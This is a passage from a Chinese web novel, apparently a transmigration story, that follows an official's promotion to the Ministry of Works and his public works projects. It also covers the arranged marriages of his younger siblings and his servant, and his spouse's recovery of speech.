这件事情后来,还传到了苏青箬与柳氏的耳朵里,两个人也被对方的无耻恶心到了。 这一天柳氏拉着身边的侍女说话,刚好被准备出去的富顺给听见了。 富顺就跑了出去,带着一只流浪小猫,在一个巷子里偷袭了那个书生。 那个书生被猫挠花了脸,气呼呼的找了根木棍想要打它们,却被路过的一个衙役给拦住了。 衙役对着他喊道:“干什么呢?你一个大男人,干什么欺负两只小猫?” 他们衙门里有一只猫,还有一只狗,都很聪明且灵性。 它们帮助衙役们,在街上抓过小偷。 衙门里的衙役,就对这些小动物十分喜欢。 书生闻言一脸委屈的说道:“你看看我的脸,我的脸被它们抓花了,这两只猫就是故意的。” 那个衙役听到这话,抬起头看向墙头上的两只猫。 富顺立刻朝着那个衙役,夹里夹气的叫了一声,声音听起来十分的可怜和无辜。 跟着它的猫小弟见状,无师自通的也夹了起来。 对比两只可怜,可爱的小夹子。 此时的书生一脸狰狞,衙役怎么看怎么觉得是书生说谎了。 “我怎么觉得,是你故意欺负它们,它们才对你动手的?这两只猫我都认识,平日里一直乖巧懂事,它们不会无缘无故伤人。” 这个时候,刚好有个大爷路过。 那个大爷也说道:“对,这两只猫我也见过,那个大一点的,还帮我抓过老鼠呢,它是一只乖巧的好猫。” 说着,大爷凑近看了看气急败坏的书生,他总觉得这书生眉眼间带着恶意。 于是大爷就说道:“肯定是你先动的手,不然它们不会伤你。” 第79章 第 79 章 因为衙役与大爷等人的帮…… 因为衙役与大爷等人的帮忙, 导致书生最后也没有打到猫。 事实上没有他们的帮忙,富顺和小猫也不会被打到的。 它们是猫,不是人, 可以飞檐走壁的。 书生就是个文弱书生,想要抓住它们还是很难的。 不过这样也好,这样大家都知道了书生打猫,就知道了他的人品不怎么好。 省得他以后会读点书, 就靠着这一点继续哄骗无知姑娘或者哥儿。 现在秋平县的风气不错, 有不少未出阁的姑娘与哥儿开始走出去家门。 他们生活在封建社会, 一辈子能接触的男人没有几个,是很容易被一些男人给哄骗的。 富顺帮助家里出了一口恶气, 之后就不怎么往外面跑了。 不是它变乖巧了, 而是它的年纪大了。 它现在已经十岁了,十岁在猫里算是老年猫了。 虽然它的身手依旧灵活, 看起来也十分的健康活泼。 但是年纪大了,就是年纪大了,已经没有小时候那样爱出去玩了。 这一年的秋天, 秋平县的水泥路, 一路修到了府城。 从秋平县到府城之间,本来就有一条官道的。 云长歇用水泥重修一遍,路修得要比以前更宽一些。 这里面的银子,府城与县城各出一半。 因为有不少商户,要经常使用官道运送货物,当地的商户也捐了不少银子。 等到县城的路都修好, 云长歇没有把修路的民工都解散了。 如今水泥工场,由朝廷那边管控。 绣坊这边招收的,大多数是女人与哥儿。 云长歇就又弄了个农场, 他把汐林山上旁边的一个小山包了下来。 这个农场主要是用来养殖的,他在芥子空间里翻东西时翻出来了不少生子丹。 生子丹的作用,可以让人或者是动物怀上多胎,并且保证母体与孩子能够平安。 这东西云长歇,不想用在女人与哥儿身上。他想着留着也是占地方,不如拿出来一些用来养殖。 到时候他在农场里面,多养一些马牛羊之类的。 让它们生多胎,还能保证它们的安全,对于农场的发展会很不错。 农场建造起来,要比工场轻松多了。 云长歇把修路的民工,全部调集过去建农场,不到两个月就建好了。 农场修建好了,农场这么的大,也需要很多人来管理。 云长歇就带着陈猎户,亲自挑选了一些老实勤快的农户,让他们以后在这个农场里干活。 农场这样的活计,是非常适合最底层的农户来做的。 只要勤快肯吃苦,在农场里面都能找到一个不错的工作。 云长歇这样的官,与其他地方的官完全不一样。 有不少当官的,都会拼了命的往自己家里贪钱。 云长歇却是贴着自己的钱,给县里的百姓弄绣坊,建农场。 之前皇帝奖赏他的金子,如今差不多都被他花完了。 因为他在实实在在为了百姓生活考虑,百姓也确实因为他的关系富裕了起来。 很多以前家里吃不上饭的人家,如今家里都能盖上新房子了。 很多秋平县的百姓见状,纷纷有一种不好的预感。 总觉得云长歇这样能干,这样的有本事,应该很快就要被调走了。 事实上,他们还真的猜对了。 从云长歇剿匪成功时,皇帝就想要给他升官了。 后来他又弄出水泥,绣坊,现在又来了一个农场。 皇帝觉得他是个人才,就想要把他调回京城,给他一个工部的职位。 工部,顶头老大是工部尚书,正三品。 下面是工部侍郎,四品。 然后是工部郎中,从五品。 还有工部员外郎,以及各部的主事。 皇帝给云长歇的职位,是从五品的工部郎中。 工部主要负责的是,水利工程,水木土工,器物制造,炼铁,纺纱,铸造等等问题的部门。 是个很重要,事物很多很杂的地方。 云长歇接到调任的时候,是建好农场的第二年。 这个时候他们的农场,已经有模有样了起来。 他找了个不错的负责人,之后就要从这里离开了。 听说他要走的时候,秋平县的百姓都很不舍得。 一来害怕下一任的县令不好,到时候把云长歇的心血毁了;二来是真的觉得云长歇是好官,但是又没有办法强行把人留下来。 云长歇留下来的话,那就只是一个七品小官,能够造福的也就一个县城。 只有让他往上爬,他才能做大官,才能有话语权,才能做出更多的贡献来。 云长歇带着家人离开的时候,那一天刚好是一个雨天,有不少百姓过来送他。 为了不徒增伤感,云长歇就没有下车与他们多做道别。 道别,道别,只会越道别越伤感。 这一年的七月末,云长歇一家终于回到了京城。 他一回来就忙着赴任,都没有什么时间去跟云家人团聚。 去年的时候,云家二房的人也从外面回京了。 如今云家大房,二房,与云长歇一家都在京城。 若是等到哪一天,云老三也带着家人来到这边,云家三房就能够真正的团聚了。 如今云长歇的祖母,老人家什么都不期盼,就只期盼所有孩子都在身边。 只可惜了,云老三去了南边当官,一时半会儿也回不来。 她的两个女儿呢,老大在老家那边,老二远嫁到了边境。 想要真的全部团聚,可不是什么容易的事情。 云长歇刚刚回到京城,就开始忙碌官场上的事。 苏青箬这边,和柳氏忙着家里。 他们家好久没住人了,就算云家其他人帮忙照顾,房子已经很破旧了。 柳氏就带着苏青箬,里里外外好好打扫修整了一番。 柳氏还记得儿子的话,要给苏青箬找个好大夫。 这些年以来,她一直没有忘记这件事情。 柳氏并不觉得这件事情麻烦,他们家现在有钱,找大夫,打听的事情,也不需要她亲自去。 只要她舍得花银子,自然有很多人愿意帮她跑腿替她辛苦。 然后不等她寻摸到好大夫,云长歇有一次进宫面见皇帝,就亲自跟皇帝讨了个赏赐。 皇帝是个大方且惜才的,对于云长歇这个小小要求并不觉得有什么。 他找了两个不错的太医,让他们跟着云长歇去了家里。 太医与外面的大夫就是不一样,很快就找到了苏青箬哑巴的原因。 他们好好商量了一番,经过了云长歇与苏青箬的同意,这才开始慢慢给苏青箬治疗。 因为错过了最好的治疗时间,他们也没有把握一定能治好。 好在,云长歇和苏青箬心态不错。 后来配合太医的治疗,云长歇又给苏青箬用了不少的灵泉。 然后让他们感到十分惊讶的是,治了没有多久苏青箬就能发出声音了。 能发出声音就是好事,后面只要慢慢的治疗,想要能说话不是难事。 为此苏青箬十分的开心,连带着家里众人也跟着开心了起来。 这一日云长歇从工部回来,跟苏青箬聊起了弟弟妹妹的婚事。 如今又过了两年,不管是艾草还是山樆年岁都不小了。 若是他们继续留着弟弟妹妹不让嫁人,说不定好好的亲人就要留成了仇人。 男欢女爱,是天经地义的事情。 一百个人里面,有九十八个是愿意成婚的。 很明显,艾草和山樆就是这九十八人里面的。 他们自己是想要嫁人的,如今云长歇的官位比以前高了一些,也确实该为了他们的婚事操劳起来了。 山樆想要嫁个读书人,刚好明年又是新一届的会试。云长歇就打算等到那时候,从那些准进士里选一个。 艾草那边没有太大的要求,他只想找一个不纳妾,不爱花天酒地的就行。 他这样的比较好找,云长歇就从以前书院的同窗里,找了一个家境稍微普通点的。 家世太好的人家,不见得会老实不纳妾。 云长歇能稍微压对方家一头,也能靠着这一点让艾草不会受委屈。 给艾草相看的时候,云长歇找了三个备选人,先让艾草远远地看了看。 他喜欢哪一个,他就帮忙让他们见一见。 有云长歇这个长辈在场盯着,就算私下见面也不会影响名声。 第80章 第 80 章 三个备选人,一个是个姓…… 三个备选人, 一个是个姓秦的书生。 对方跟云长歇是一届的考生,当年云长歇考中了探花郎,秦书生就考了一个同进士。 这个人家境不算特别出众, 家里的门风还是挺不错的。 因为他们家上面一辈,除了个小叔纳了妾,其他的男丁都不纳妾。 若是艾草看上了他,嫁过去就是正夫, 有云长歇这个大哥夫压着, 那人肯定也不敢纳妾的。 这是第一个的大致情况, 然后就是第二个人。 第二个也是云长歇的同窗,这个人读书不怎么厉害。当年云长歇考中的时候, 他就名落孙山了。 这几年听说还在考, 因为他们家里挺有钱,他这样一直考下去, 也不会给家里造成负担。 这个人呢,不如第一个有出息。 不过人品还不错,云长歇以前接触过。 这样的人以后不会有大出息, 但是也不会做太出格的事情。 很多人都觉得, 嫁给这样的男人没有未来,想要嫁个有本事有能耐的。 但是那些有本事的,有能耐的男人,也注定没有几个是安分的。 等到他们有了大能耐,不见得就能看得上原本的糟糠妻了。 第三个人是个姓余的,对方不是什么读书人, 而是一个开酒楼的。 以前云长歇去他们酒楼吃过饭,与这个年轻掌柜有一点接触。 这个人品性不错,待人大方, 还接济过一个穷苦书生。 他是他们家的独子,没有什么兄弟姐妹,也就不存在太多矛盾。 他的母亲,云长歇也见过,是个脾气和善的妇人。 嫁人,其实嫁的不仅仅是那个男人,还要对对方的家境了解一番。 他的家境,父母,亲人,朋友等等。 物以类聚人以群分,从他的亲朋好友的身上,就能够看出他这个人如何。 三个人,云长歇与苏青箬,带着艾草分别远远看了一眼。 相亲嘛,第一眼相看的不就是长相吗? 若是连对方的长相都不喜欢,后面的事情也没有必要谈了。 三个人,艾草都看了一遍,他觉得第二个和第三个都不错。 第二个长得更加俊一点,有一种细皮嫩肉俏书生的感觉。 第三个长相只能算周正,艾草看上他是因为他长得高挑。 他想着妹妹年纪也不小了,就偷偷跑过去找妹妹聊了聊。 艾草:“四妹,我觉得大哥夫给我找的这三个人都挺不错的。第一个还是个准进士,虽然他现在没有当大官,但是看起来混得还可以。” 山樆闻言有点不满,“你什么意思啊,你没有看上的就推给我?” “不是我没有看上他,我就是觉得他太文绉绉了,我自己就是一个大老粗,怕跟他过日子过不到一起。” “我不要你的,这三个都是大哥夫给你找的,又不是特意给我挑选的。你还是自己好好选吧,我的事情等到明年再说。” 艾草见状也不多说了,而是跑去找到了梁婶,让梁婶帮他掌掌眼。 梁婶是长辈,眼界也比他的广,艾草跟梁婶关系也亲近,就喜欢找梁婶给他拿主意。 梁婶听完了两边的情况,就笑着对身边的艾草道:“第三个吧,你也不是山樆,你并不喜欢读书人,何必非要找个读书人。那人一直没有考中,但是依旧坚持在考,明显是个在乎科举的。他在乎科举,自然在乎读书。你不喜欢读书,估计在这方面与他聊不到一起去。若是他以后遇见了一个,会识字,会读书,能够跟他诗情画意的人,到时候说不定就会嫌弃你了。” 艾草觉得梁婶说的很有道理,就同意了跟第三个人见一见。 云长歇现在是五品官员,说亲肯定不会自己去。 他找了个体面的媒婆,先让人家帮忙牵线见上一面。 到时候就算没有成,他们也是正经找媒婆相看的,也不会被周围的人说三道四。 事情十分的顺利,人家一听是云郎中夫郎的弟弟,自然是十分愿意相看的。 艾草长得很漂亮,这些年又跟着梁婶甜桑识文嚼字,气质也比以前好了很多。 两个人正式见了一面,两边看起来都很满意。 柳氏就亲自出面,开始商量聘礼,嫁妆,定亲之类的事宜。 两个人在年底定的亲,婚事安排到了明年的秋天。 这期间,差不多有一年的时间,可以准备两个人的婚事。 柳氏就带着苏青箬,开始不急不慢的张罗起来。 柳氏对苏青箬说道:“你嗓子好了点,刚好可以趁着这个机会,多练习练习跟别人说话。你别怕,为娘一直陪着你,你也要学着掌家了。” 以前柳氏还不觉得自己老,如今看着楼儿越来越大了,她才惊觉自己真的老了。 曾经年少的艾草,山樆,也都要准备着出嫁了。 苏青箬觉得山樆也不小了,在给艾草张罗嫁妆的时候,也该连带着山樆的准备着。这样等到山樆嫁人时,他也不用那么手忙脚乱。 大户人家成婚,光是这些礼节,流程,都能走个一年半载的。 苏青箬跟着柳氏一起,刚好可以跟着学习学习。 艾草与未婚夫订婚后,就可以稍微走动走动了。 他们两个人有婚约,在带着下人的情况,是可以私下见面的。 云长歇觉得他们可以多见见,若是两个人之间有什么不合适,也能够在成婚之前早一点知道。 当然了,为了艾草的名声着想,艾草现在身边又多了个下人。 艾草以前身边就一个下人照顾,如今云长歇又给安排了一个。 这样就算出现什么状况,其中一个有事走开了,另一个也能守着主子。 山樆那边也是一样,越是快要到嫁人的时候,这个时候就要越是小心。 次年的会试结束,云长歇就找人帮忙给山樆物色不错的相亲对象。 为了不让山樆觉得他偏心,他也给山樆备了三个人选。 两个读书人,一个武将。 前面两个都是准进士,都是这一次会试上榜之人。 后面那个是个武将,是云长誉在朝中认识的一个官二代。 对方家里都是武官,之前一直在边境磨砺,去年的时候才回京的。 云长歇觉得这个武将挺不错的,高高壮壮,浓眉大眼,应该是小姑娘会喜欢的类型。 事实上,云长歇还真的猜对了。 山樆看到他之后,就明显很喜欢对方。 但是吧,她是一个性格别扭的,她还是想要嫁个读书人。 她想要当文官的妻子,以后说不定还能争个诰命当当。 所以她有点违心的,想要在前面两个读书人里面挑选。 云长歇不清楚她的想法,身为大哥夫这方面也不好说什么。 艾草与苏青箬倒是看出了她的不对劲,但是却也没有办法劝动她的心。 最后山樆还是选了个读书人,她选的那个后来考上了进士。 他们的相看也很顺利,不管是为了攀附上云家,还是因为山樆这个人,对方家里都很欢喜这桩亲事。【你现在阅读的是 】 第 81 章【VIP】 第81章 第 81 章 艾草的婚事,在这一年的…… 艾草的婚事, 在这一年的秋天。 山樆的婚事,在同一年的腊月。 为了张罗他们的婚事,这一年不管是柳氏, 还是苏青箬都很忙。 后来大概是担心,他们两个人弄不好,到时候让他们云家丢脸。大房那边就派了人过来帮忙,务必要把他们的婚事办得体面。 这个时候的楼儿已经不小了, 云长歇就给他安排了一文一武两个老师。 虽然说楼儿喜欢武术不喜欢读书, 但是也不能真的大字不识一个。 文盲, 可不是什么好事情。 他不喜欢读书,云长歇可以不逼着他多读书, 但是一般的基础还是要学的。 读书使人明理, 读书使人聪慧。 楼儿不喜欢读书,他们可以不把读书当做出路, 但是该学的基础也要会的。 因为孩子年纪还小,云长歇也不好太过强迫他。 楼儿一个月学习十五天,一天只需要读书一个时辰, 练武一个时辰。 等到他再大一点, 后面的学习时间再慢慢一点一点的增加。 关于艾草与山樆的嫁妆,云长歇特意给准备了一模一样的。 都是一个人二百两银子,一个铺子,一个庄子。 银子不算多,主要在铺子与庄子上。 京城的铺子和郊外的庄子,要比真金白银价格高多了。 以后不管他们日子过得如何, 有个铺子,和个庄子在,也不用担心被婆家磋磨。 云长歇在工部混得还不错, 看起来应该不会再外放了。 他在给弟弟妹妹准备嫁妆时,还给家里置办了两个铺子一个庄子。 如今苏青箬已经可以说话了,他要学着掌家,学着管理铺子,这些东西都要慢慢学起来。 柳氏现在还能操操心,他学习的时候也有人照顾着点。 这一年的秋天,也就是艾草成婚之后。 云长歇要去南方修筑水坝,苏青箬不舍得与他分开,就跟着云长歇一起走了。 楼儿没有带着一起,一来他们也不会去太久,二来带着孩子没人照顾,还不如放在京城更舒服。 京城这边有柳氏,梁婶照顾他。还有大房,二房的人,可以照看着他,要比他跟着云长歇,去南方修水坝舒服多了。 大概是担心,柳氏不会教导孩子。后来楼儿就被曾祖母,也就是云长歇祖母接去了大房。 老太太是个喜欢孩子的,哪怕现在已经年纪很大了,也特别喜欢照看家里的孩子。 楼儿有她这个曾祖母看着,性格也被养得越来越皮实。 有一次因为贪玩,他还把二房的一个堂哥给揍了。 是的,他比对方小了两岁,却能把人家给揍哭。 …… 这一年的冬天,云长歇与苏青箬都没有回来过年,也就没有办法参加山樆的大婚。 为了这件事情,山樆闹了一次情绪,还偷偷的掉过眼泪。 不过好在,京城这边除了大哥,大哥夫,还有二姐与二姐夫呢。 大哥与大哥夫不在这边,只要二姐他们在也是没有什么关系的。 再加上她新婚嫁人,婆家那边对她还不错,很快她就忘记了这一点不愉快。 这一日,也就是她嫁人的第三天,她要与夫君一起回门。 回门,自然是要回云家。 小夫妻两个人坐着马车回去时,刚好遇见了别人家在迎亲。 山樆撩开了帘子往外面看,就看到了一抹有点熟悉的身影。 她夫君见她一直看着外面,有点奇怪的问道:“怎么了,是你认识的人?” 山樆闻言一边放下帘子,一边摇了摇头说道:“不认识。” 外面那个迎亲的人,是个个头高挑的武将。 不是别人,正是云长歇给她挑选的三个人里的那个武将。 那个让她只见一面,就差点想要嫁给他的人。 山樆没有想到,他这么快也成婚了,也不知道他的妻子,是个什么样的人? 想到这里的时候,山樆微微摇了摇头。 罢了,她已经嫁人,对方也已经成婚。 是个什么人,似乎也跟她没有什么关系。 云长歇与苏青箬是次年的四月份回来的,回来的时候苏青箬已经有三个月的身孕了。 孩子是在他们回来前几天怀上的,说实话他们两个人都挺意外的。 哥儿与女子不一样,哥儿没有月事。若是怀孕了,没有女子那么容易发现。 因为不知道怀孕了,两个人一开始赶路还挺急的。 后来苏青箬有点不舒服,两个人这才意识到了不对劲。 这些年以来,苏青箬的身体被调养的很好了。他现在很少生病,所以突然不舒服还挺打眼的。 云长歇在路上的时候,找了大夫给他把了脉,就知道了苏青箬怀孕的事。 为了迁就苏青箬的身体,之后他们一路上就走得很慢,这才磨磨蹭蹭到了四月才回来。 回来后,云长歇有一个月的假期,他就天天陪着苏青箬养胎。 他们两个人刚回来的时候,楼儿就从大房那边搬回来了。 小孩子也就头几天,表现的十分想念父亲与爹爹。 等到那股想念的劲过了,又吵着闹着要去曾祖母家里住。 他最近在那边交了很多玩伴,大房有小孩子,二房也有小孩子。 然后周围的邻居啊,他也认识了不少的小伙伴。 尤其是其中一家的一个小子,长得特别水灵,跟个小哥儿一样。 楼儿特别喜欢跟人家玩,对方的祖父还想要给他们两个人定娃娃亲呢。 对于楼儿这么小一点,就跟外面的小黄毛玩,云长歇也没有多说什么。 他让楼儿的奶嬷嬷,贴身侍从,好好的看着他。 不要让楼儿被臭小子占了便宜,也就没有管着他拘着他的意思。 云长歇唯一担心的就是,会有臭小子仗着楼儿年纪小,哄骗楼儿给他亲,给他摸。 还真的不是云长歇小人之心,有一些人家觉得儿子好色不是坏事,甚至还觉得儿子好色是在占便宜。 所以很多有儿子的人家,他们不会好好教育儿子,反而觉得他们儿子小小年纪,在外面就会占女人哥儿的便宜是一件值得骄傲的事情。 为了防止这样的事情,云长歇让苏青箬,奶嬷嬷,柳氏他们提前给楼儿进行性教育。 他可以跟小哥哥小弟弟去玩,但是不可以让他们摸脸,摸身体什么的。 楼儿不大明白是什么意思,但是他还是比较听苏青箬与柳氏的话的。 他们说什么可以,什么不可以,他也都会牢牢的记住。 但是让云长歇没有想到的是,有一天他当值归来。 楼儿拉着个眉清目秀的小男孩,突然跑到他的面前对他说道:“父亲,我可不可以娶他进家门?” 云长歇闻言,看了那小男孩一眼。 “你……是个小哥儿?” 眉清目秀的小男孩,微微扬了扬小下巴。 “我是男人!” “咳,你是男人啊,那他要娶你,你就嫁给他啊?” 小男孩:“嫁啊,他说他有钱,我嫁给他,我能享福。” 云长歇被两个娃娃的童言童语逗乐了。 “你是谁家的娃娃啊?你们想要成亲,需要双方父母同意才行。” 楼儿闻言十分的着急,“那,父亲,你赶紧去他家提亲去。” 云长歇被楼儿推着往前走,一脸好笑的说道:“这么着急做什么?” “当然着急了,我现在不把他娶了,过几天他就要跟他父亲去边境了。” 那边境是苦寒之地,这小男孩不想跟着父亲去,就想了个办法把自己嫁了。【你现在阅读的是 】 第 82 章【VIP】 第82章 第 82 章 最后云长歇也没有上门提…… 最后云长歇也没有上门提亲, 小孩子的话不能完全当真的。 也许这个时候,他们看起来好像真的很喜欢对方的样子。 但是他们不懂什么是真的喜欢,他们现在的喜欢很多是为了玩。 如果因为他们现在关系好, 云长歇就找上门给他们定娃娃亲。 万一等到他们长大了,两个人后悔了,对于两个人的未来也不大好。 不过,为了不让楼儿觉得伤心, 云长歇还是去了一趟对方家里, 找了对方的父母谈了谈他们的事。 小男孩的父亲是个武将, 过几日就要带着全家去边境了。 云长歇与他们说起两个孩童的事,他们也觉得不该因为两个孩子的童言童语, 就这么早的给他们两个人定下婚约。 万一以后他们不乐意了, 退婚也会对他们的名声造成影响。 还有就是,他们也觉得孩子小, 不见得就知道什么是喜欢。 如今云长歇亲自过来,小男孩的父亲有意与云长歇交好,于是就笑着对云长歇说道:“若是以后令公子年纪到了, 到时可以优先考虑我家犬子。毕竟他们也算是青梅竹马, 要是那个时候他们不反对,这桩婚事也算是一段佳话了。” “能和韩大人家结亲,是下官高攀了。” 小男孩的父亲是武将,品阶比云长歇高一阶。 按理来说,官大一级压死人。 不过这些年天下太平,武将在大周前途不如文官, 他们两个谁更厉害还真的不好说。 要是以后一直太平,云长歇这种在工部的文官,肯定是要比武将有出息的。 当然了, 以后的事情还真的不一定。 小说里面,后期大周没有乱过。 但是现在的情况不一样,现在的大周有了云长歇这个穿越者。 云长歇弄出了水泥,让大周全国上下都修了水泥路。 以后大周发展起来,说不定会攻打其他的国家来扩张疆土。 一旦打起仗来,武将的作用就要远远大于文官了。 …… 楼儿的小伙伴离开之后,云长歇官位升到了正四品,从工部郎中升到了工部侍郎。 这几年的时间,云家除了云长歇升官了,还有两个人也升官了。 云大伯从户部侍郎,升到了户部尚书。 云长誉从大理寺少卿,升到了大理寺卿。 加上如今是工部侍郎的云长歇,他们三个是云氏官运比较好的。 尤其是云长歇,他有点真本事,还是个穿越的。 他做官就像是开火箭一样,年纪轻轻的就做到工部侍郎这一职位,以后的前程可以说是一片光明了。 最近除了云长歇升官的事,三房这边还有个大喜事,那就是苏青箬生了个儿子。 苏青箬一直想要个儿子,如今终于如愿的生了一个,他的心里就没有什么压力了。 苏青箬是个古代哥儿,其实他不想重男轻哥儿的。 但是环境不一样,就算云家其他的人,保证了会照顾好楼儿。 可是他的心里依旧担心,等到他与云长歇老了,楼儿一个人会被欺负。 这一点,云长歇也不想说他。 因为这件事情,苏青箬没有错。 错的是,这个吃女人,吃哥儿的世界。 就是云长歇那样的现代社会,依旧会出现欺负女人的事情,就更别提是这样的古代了。 苏青箬只是个普通的哥儿,他吃过很多当哥儿的苦。他想要生一个儿子,不是为了让儿子,跟他那个弟弟一样,生出来欺负他的楼儿。而是希望他的儿子,能够依仗男人的地位保护好哥哥。 这样一看,似乎对于老二不大公平。 但是这个世界,本身就不是公平的。 就比如,男人,女人,与哥儿一样。 本身世界就是不公平的,公平不公平的也不是苏青箬一个小哥儿能决定的。 有了老二之后,苏青箬就不再想要生孩子了。 他和柳氏一起照顾两个孩子,其余的时间都用来好好养生。 老二来的第二年夏天,云家的老夫人在一个雨夜去世了。 老夫人,也就是云长歇的祖母,算是比较长寿的老人家。 因为老太太走的时候没有受什么罪,算是喜丧,云家众人也没有特别的悲伤。 也就一开始那两天,大家有一点没办法接受。 后来想了想,老太太年纪大了,如今这样不痛不痒的去世,总比受尽折磨病死的要好。 想清楚了,大家一起把丧事办了,日子就又恢复到了以前。 云长歇现在俸禄高,苏青箬的铺子也能赚钱。 在这一年的秋天,他们买了一套新房子,一家人搬到了新家。 新家距离云家大房不远,是一套四进的院子。 院子大了,家里的仆人就要多起来。 这一天,苏青箬找了个牙人过来,打算给家里添一些下人。 然后陈猎户突然跑过来,想要他帮忙给说个亲。 苏青箬十分的惊讶,不明白陈猎户看上了谁,要他个不善言语的去说亲。 陈猎户:“我想要娶箐珊,我思来想去了一番,还是觉得主夫你才能帮我。” 箐珊跟柳氏感情很好,曾经说过为了柳氏一辈子不嫁人。 很多人嫁人,都是为了搭伙过日子,顺便生个孩子养老的。 她呢,跟着柳氏不愁吃不愁穿的,也就不需要找人搭伙过日子。 至于养老? 那就更加不愁了。 她是柳氏的贴身侍女,云家这边有很多下人,主子们肯定会给她养老,绝对不会让她过得不好的。 在这样的情况下,她嫁不嫁人,生不生孩子还真的不重要。 之前陈猎户找过柳氏,柳氏那边的意思是看箐珊自己的。 不管箐珊做什么选择,她都会无条件支持她。 箐珊呢,她是不想嫁人的。 她的年纪不小了,这个时候再生育会很危险。 她也不想养孩子。 如今三房这边,已经有两个孩子了。 不管是大公子,还是二公子,都是十分可爱的。 她要是想照顾孩子了,两位公子就够她忙碌的了。 所以箐珊这边的意思是,她不想嫁,也没有心思嫁人。 陈猎户实在是没有办法,只能找到了苏青箬这里来。 他觉得苏青箬跟箐珊关系好,苏青箬的话箐珊应该愿意听。 苏青箬说道:“其实……如果箐珊真的不想嫁,就算是我,我也不好逼她。你要是想要讨个媳妇,你就去跟你家大人说去,他肯定能给你找个好的。” 不想嫁人的,算是比较少见的。 世上大多数的哥儿,女人,他们还是想要嫁人的。 陈猎户的条件不算很好,但是因为他是云长歇的随从,他想要找个媳妇还是很容易的。 那些家庭条件差,很难养活自己的,估计都会很乐意嫁给他。 但是很明显,陈猎户就是喜欢箐珊,不然也不会拖这么多年。 苏青箬:“箐珊的年纪大了,她嫁给你,估计没办法生孩子了。你家大人跟我说过,不管是哥儿还是女人,年纪越大生孩子越危险。我生老二的时候,年纪就不小了,夫君为此还担心过。你要是非她不可,以后注定没有孩子的。” 陈猎户:“没有就没有吧,我什么都不要,就图她这个人。” 苏青箬见陈猎户这样执拗,就叹了一口气。 “行吧,我晚上去跟她聊聊,她要是真的不乐意,你以后就别逼她了。” “我省的,只要她给个准话,说她不喜欢我,我以后就不缠着她了。”【你现在阅读的是 】 【终章】 第83章 第 83 章 当天晚上,苏青…… 当天晚上, 苏青箬就找到了箐珊,跟她聊起了陈猎户的事。 让苏青箬有点意外的是,箐珊听完毫不犹豫就说道:“箐珊不想嫁人, 陈大哥若是想要娶媳妇,这件事情还是让大人帮忙吧,箐珊这边不想离开主子身边。” 陈猎户对她有意思,这件事情箐珊早就知道了。 她确实动心过, 因为陈猎户人很好, 之前还救过她的命。 但是那种念头只有一瞬间, 很快就被她自己给打消了。 在这个世上,确实有很多女人哥儿, 一辈子最大的愿望, 就是找个好男人嫁了。 箐珊却不是这些人里的一个。 她的想法一直很简单,她只想跟在柳氏身边。 不管日子是苦是好, 只要她们两个人在一起都能过去。 如今……柳氏年纪大了,小主子也成家了。 她没有什么大的奢求,她最大的愿望就是陪着主子, 然后帮小主子照顾好夫郎与孩子。 嫁人, 对她来说不是必须要做的事情。 她也不希望陈猎户,为了她以后没有孩子。 苏青箬:“你真的打算一辈子不嫁人吗?” 箐珊:“谢谢主夫为了奴婢的事情操心,奴婢想了想还是觉得没有必要。奴婢没有什么太大的野心,这一辈子只想好好当下人,好好的陪着主子与小主子。” 苏青箬见她都这样说了,只好把这件事告诉了陈猎户。 后来云长歇从外面回来, 苏青箬把这件事情也告诉了他。 云长歇特意把陈猎户叫来过,问他除了箐珊愿不愿意娶别人? 陈猎户说:“我谁都不想娶,只想娶她。” 云长歇却觉得他的行为不理智, 还会让箐珊的心里有压力。 箐珊会觉得,陈猎户一辈子不娶,是因为她才导致的。以后两个人见面,说不定会觉得尴尬。所以云长歇劝了劝他,希望他能够自己想开。 而且男人与女人是不一样的,男人婚前也许因为很爱那个女人,愿意为了她以后不要一个孩子。但是等到婚后很多年了,一开始的浓厚爱意淡去,爱情被亲情所取代了。一旦到了那个时候,很多男人都会后悔想要孩子的。 陈猎户的年纪不小了,还是他们家的唯一男丁。 如今的他正值壮年,也许他确实不想要孩子。 但是人的想法会变的,等到他年纪大了,走不动了,或者是后悔了。 到时候他再看待箐珊,只会觉得是为了箐珊才变成现在的状态的。 而箐珊确确实实,已经没有办法生育了。 他们就会因为孩子的事情,发生很多的矛盾。 云长歇与陈猎户感情好,在他的事情上愿意多消耗一些心力,就忍不住拉着陈猎户多说了几句。 在云长歇看来,若是箐珊真的不想嫁,陈猎户不如选个想嫁的。 他们现在所处的是古代,古代的女人与哥儿大多数都是乐意嫁人的。 陈猎户虽然不年轻了,但是他脾气好,人品佳。加上有云长歇这位主子,他想要讨个媳妇还是很容易的。 后来过了大概半年,陈猎户突然就想开了。 他这样耗着,不仅等不到箐珊,还会让他们的关系越来越差。 因为最近一段时间,他发现箐珊都在故意躲着他。 陈猎户很快就想通了,就算不为了箐珊自在,他也确实没办法继续耗了。 自从云家的两个公子渐渐可以跑出来玩了,他就发现他还是想要拥有一个孩子的。 之后,他是在云长歇的帮助下,娶了一个陈家姓的孤女。 这孤女是个命苦的,父母双亡,独留她一个人与一个铺子。 因为这个铺子,各方的亲戚化都成了厉鬼,一个个都想要害死她,他们就能够霸占她嫁财产。 却不料孤女运气不错,碰见了爱管闲事的云长誉。 云长誉这个大理寺卿,就做主惩罚了为首两个人,这才吓唬住了她那些吃人不吐骨头的亲戚。 云长歇从中间牵线,让两个人相看了一番。 那孤女明显很喜欢陈猎户,她就想要一个家世简单,性格又好的男人。 这样她嫁了,也不担心以后被婆母磋磨。 两个人的婚事,是在次年的三月举行的。 云长歇给陈猎户,置办了一个小院子,给他们小两口当家。 事实上这个小院子,也就成婚的时候用了一下。 后面他们大多数时间,都住在那个孤女的铺子里。 偶尔陈猎户想要回来了,就会带着妻子回云家住几天。 云家这边有他的小院,他的房子也一直没有让别人住。 解决了陈猎户的婚事,云长歇就没有什么事情好忧心了。 如今他呢,白天努力当值,晚上陪伴家人。 他一直觉得,他的家人不算多,他一个人也能够陪伴他们。 但是后来他就发现,其实他的家人也不少了。 一个娘亲,一个夫郎,与两个孩子。 平日里他的公务繁忙,偶尔还要出去出个差。 他一个人回到家里,需要把每个人都关心到,实际上还是挺辛苦的。 这还是他不需要,天天往大房,二房那边跑的情况。 如果他还要去大房,二房那边,情况只会更加的辛苦。 每当这个时候,云长歇就挺好奇那些后院有妾室的人,他是如何一个人兼顾这么多的家人的。 就比如一个夫郎生两个孩子,他们后院有一个正室,再加上一个或两个妾室,那么久该有四个到六个孩子。 若是父母健在,上面就还有两位老人需要孝顺。 两个老人,四五个孩子,两三个伴侣,一个人根本兼顾不了。 